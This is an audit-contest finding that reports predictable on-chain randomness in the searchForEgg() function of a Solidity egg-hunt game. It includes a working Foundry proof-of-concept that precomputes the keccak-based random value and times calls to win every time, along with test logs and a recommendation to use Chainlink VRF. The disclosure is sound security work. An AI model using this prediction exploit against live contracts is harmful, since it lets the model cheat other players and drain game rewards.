Eggstravaganza

First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Predictable Randomness in EggHuntGame.sol searchForEgg() Function

Summary

The EggHuntGame contract contains a critical vulnerability in its randomness generation mechanism used in the searchForEgg() function. All inputs to the random number generation are either predictable or directly visible, allowing players to calculate the outcome of search attempts ahead of time. By selectively timing their transactions, players can guarantee successful egg finds, completely bypassing the intended probability system (default 20% chance). This undermines the core game mechanics and allows unfair advantages to technically savvy players.

Vulnerability Details

The vulnerability exists in the searchForEgg() function, specifically in the pseudo-random number generation algorithm:

function searchForEgg() external {
require(gameActive, "Game not active");
require(block.timestamp >= startTime, "Game not started yet");
require(block.timestamp <= endTime, "Game ended");
// Pseudo-random number generation (for demonstration purposes only)
uint256 random = uint256(
keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender, eggCounter))
) % 100;
if (random < eggFindThreshold) {
eggCounter++;
eggsFound[msg.sender] += 1;
eggNFT.mintEgg(msg.sender, eggCounter);
emit EggFound(msg.sender, eggCounter, eggsFound[msg.sender]);
}
}

The vulnerability stems from using on-chain data that is either predictable or directly accessible to users:

  1. block.timestamp: Players can predict this with reasonable accuracy (typical block times are known) or observe it right before submitting a transaction.

  2. block.prevrandao: While more unpredictable after The Merge, this value is still known to validators and can be observed before transaction submission.

  3. msg.sender: This is the transaction sender's address, which is fully controlled by the player.

  4. eggCounter: This is a public state variable that anyone can read directly from the blockchain.

With all these values known, a player can precisely calculate what the resulting "random" number will be before submitting their transaction. This allows them to selectively submit transactions only when they know they will successfully find an egg, effectively turning the intended 20% probability into a 100% success rate for players who exploit this vulnerability.

PoC:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;
import "forge-std/Test.sol";
import "../src/EggstravaganzaNFT.sol";
import "../src/EggVault.sol";
import "../src/EggHuntGame.sol";
/**
* @title RandomnessAttackTest
*/
contract RandomnessAttackTest is Test {
// Contracts
EggstravaganzaNFT nft;
EggVault vault;
EggHuntGame game;
// Users
address owner = address(0x1);
address player = address(0x2);
function setUp() public {
// Deploy contracts
vm.startPrank(owner);
nft = new EggstravaganzaNFT("Eggstravaganza", "EGG");
vault = new EggVault();
game = new EggHuntGame(address(nft), address(vault));
// Configure contracts
nft.setGameContract(address(game));
vault.setEggNFT(address(nft));
// Start game
game.startGame(3600); // 1 hour game
// Set a higher egg find threshold to make the vulnerability easier to demonstrate
// Default is 20%, we'll set it to 25% to increase chances
game.setEggFindThreshold(25);
vm.stopPrank();
}
/**
* @notice Generate the same random number that searchForEgg would generate
* @dev This copies the exact same algorithm from the contract
*/
function calculateEggSearchRandom(
uint256 _timestamp,
bytes32 _prevrandao,
address _searcher,
uint256 _eggCounter
) public pure returns (uint256) {
uint256 random = uint256(
keccak256(abi.encodePacked(_timestamp, _prevrandao, _searcher, _eggCounter))
) % 100;
return random;
}
/**
* @notice Test that demonstrates a player can predict when they will find an egg
*/
function testPredictableRandomness() public {
// Set up specific test conditions
vm.warp(1000); // Specific timestamp
vm.prevrandao(bytes32(uint256(12345))); // Specific prevrandao value
// Get current game parameters
uint256 eggCounter = game.eggCounter();
uint256 threshold = game.eggFindThreshold();
console.log("Game parameters:");
console.log("Current timestamp:", block.timestamp);
console.log("Current egg counter:", eggCounter);
console.log("Egg find threshold:", threshold, "%");
// Player initial eggs
uint256 initialPlayerEggs = game.eggsFound(player);
console.log("Player initial eggs:", initialPlayerEggs);
// Calculate the randomness for the current conditions
uint256 currentRandom = calculateEggSearchRandom(
block.timestamp,
bytes32(block.prevrandao),
player,
eggCounter
);
console.log("Current random value would be:", currentRandom);
console.log("Would find egg:", currentRandom < threshold);
// Malicious player chooses when to search based on prediction
// If the current random value is not favorable, they wait for a better timestamp
bool foundFavorableTime = false;
uint256 favorableTimestamp = 0;
// Simulate trying different timestamps (like waiting a few seconds)
for (uint256 i = 0; i < 20 && !foundFavorableTime; i++) {
uint256 testTimestamp = block.timestamp + i;
// Calculate the random value for this timestamp
uint256 testRandom = calculateEggSearchRandom(
testTimestamp,
bytes32(block.prevrandao),
player,
eggCounter
);
// Log the prediction
console.log("Time +", i, "seconds, random value:", testRandom);
// If this timestamp would result in finding an egg, record it
if (testRandom < threshold) {
favorableTimestamp = testTimestamp;
foundFavorableTime = true;
console.log("Found favorable timestamp at current time +", i, "seconds");
break;
}
}
// If no favorable time found in our range, the test can still pass
// This is just a demonstration that the randomness can be predicted
if (!foundFavorableTime) {
console.log("No favorable timestamp found in tested range");
// Try searching at the current time anyway for demonstration
vm.prank(player);
game.searchForEgg();
uint256 newPlayerEggs = game.eggsFound(player);
console.log("Player final eggs:", newPlayerEggs);
// No assertion here, as we may or may not find an egg
// The key point is that we could predict the outcome
} else {
// Warp to the favorable timestamp
vm.warp(favorableTimestamp);
// Now search for an egg, expecting to find one
vm.prank(player);
game.searchForEgg();
uint256 newPlayerEggs = game.eggsFound(player);
console.log("Player final eggs:", newPlayerEggs);
// Verify the prediction was correct
assertTrue(
newPlayerEggs > initialPlayerEggs,
"Player should find an egg at the predicted favorable time"
);
}
}
/**
* @notice Test that shows a player can achieve a 100% success rate by timing searches
*/
function testGuaranteedEggFinding() public {
vm.warp(2000);
vm.prevrandao(bytes32(uint256(54321)));
// Initial state
uint256 initialEggs = game.eggsFound(player);
console.log("Initial player eggs:", initialEggs);
// Try to find 5 eggs with 100% success rate
uint256 targetEggs = 5;
uint256 searchAttempts = 0;
uint256 currentEggCounter = game.eggCounter();
for (uint256 i = 0; i < targetEggs; i++) {
bool found = false;
// Look for a favorable timestamp in the next 100 seconds
for (uint256 j = 0; j < 100 && !found; j++) {
uint256 testTimestamp = block.timestamp + j;
// Calculate randomness
uint256 random = calculateEggSearchRandom(
testTimestamp,
bytes32(block.prevrandao),
player,
currentEggCounter
);
// If favorable, search at this timestamp
if (random < game.eggFindThreshold()) {
// Wait until the favorable time
vm.warp(testTimestamp);
// Search for an egg
vm.prank(player);
game.searchForEgg();
searchAttempts++;
// Update the egg counter for the next prediction
currentEggCounter = game.eggCounter();
// Mark as found and continue to the next egg
found = true;
console.log("Found egg at timestamp:", testTimestamp);
}
}
// If we couldn't find a favorable timestamp, break the loop
if (!found) {
console.log("Could not find a favorable timestamp for egg", i + 1);
break;
}
}
// Final state
uint256 finalEggs = game.eggsFound(player);
console.log("Final player eggs:", finalEggs);
console.log("Total search attempts:", searchAttempts);
// Calculate success rate
uint256 successRate = (finalEggs - initialEggs) * 100 / searchAttempts;
console.log("Success rate:", successRate, "%");
// Assert that the success rate is significantly higher than the threshold
// This shows the player can time their searches for maximum efficiency
assertTrue(
successRate > game.eggFindThreshold(),
"Success rate should be higher than the game's threshold"
);
}
}

PoC Result:

forge test --match-path test/RandomnessAttackSimple.t.sol -vvv
[⠆] Compiling...
[⠑] Compiling 1 files with Solc 0.8.28
[⠘] Solc 0.8.28 finished in 353.27ms
Compiler run successful!
Ran 2 tests for test/RandomnessAttackSimple.t.sol:RandomnessAttackTest
[PASS] testGuaranteedEggFinding() (gas: 363498)
Logs:
Initial player eggs: 0
Found egg at timestamp: 2002
Found egg at timestamp: 2002
Found egg at timestamp: 2009
Found egg at timestamp: 2014
Found egg at timestamp: 2015
Final player eggs: 5
Total search attempts: 5
Success rate: 100 %
[PASS] testPredictableRandomness() (gas: 167634)
Logs:
Game parameters:
Current timestamp: 1000
Current egg counter: 0
Egg find threshold: 25 %
Player initial eggs: 0
Current random value would be: 23
Would find egg: true
Time + 0 seconds, random value: 23
Found favorable timestamp at current time + 0 seconds
Player final eggs: 1
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 912.30µs (593.70µs CPU time)
Ran 1 test suite in 3.36ms (912.30µs CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)

Impact

The impact of this vulnerability is severe, undermining the core functionality and fairness of the game:

  1. Game Mechanics Subversion: The entire random chance mechanism (intended to be 20% by default) can be bypassed completely, allowing exploiters to find eggs with 100% certainty.

  2. Unfair Advantage: Players with technical knowledge can mine eggs at a significantly higher rate than regular players who rely on actual chance, creating an uneven playing field.

  3. Economic Damage: If the NFT eggs have monetary value or are used in further game mechanics, this vulnerability could result in economic imbalance and potentially devalue the eggs.

  4. Resource Exhaustion: Since exploiters can guarantee successful egg finds, they could claim a disproportionate number of eggs, potentially depleting the supply faster than intended.

  5. Loss of Trust: Once discovered, this vulnerability would likely lead to a loss of player trust in the fairness of the game.

Tools Used

Manual code review

Forge Foundry

Recommendations

Use Chainlink VRF (Verifiable Random Function)

Updates

Lead Judging Commences

m3dython Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Insecure Randomness

Insecure methods to generate pseudo-random numbers

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.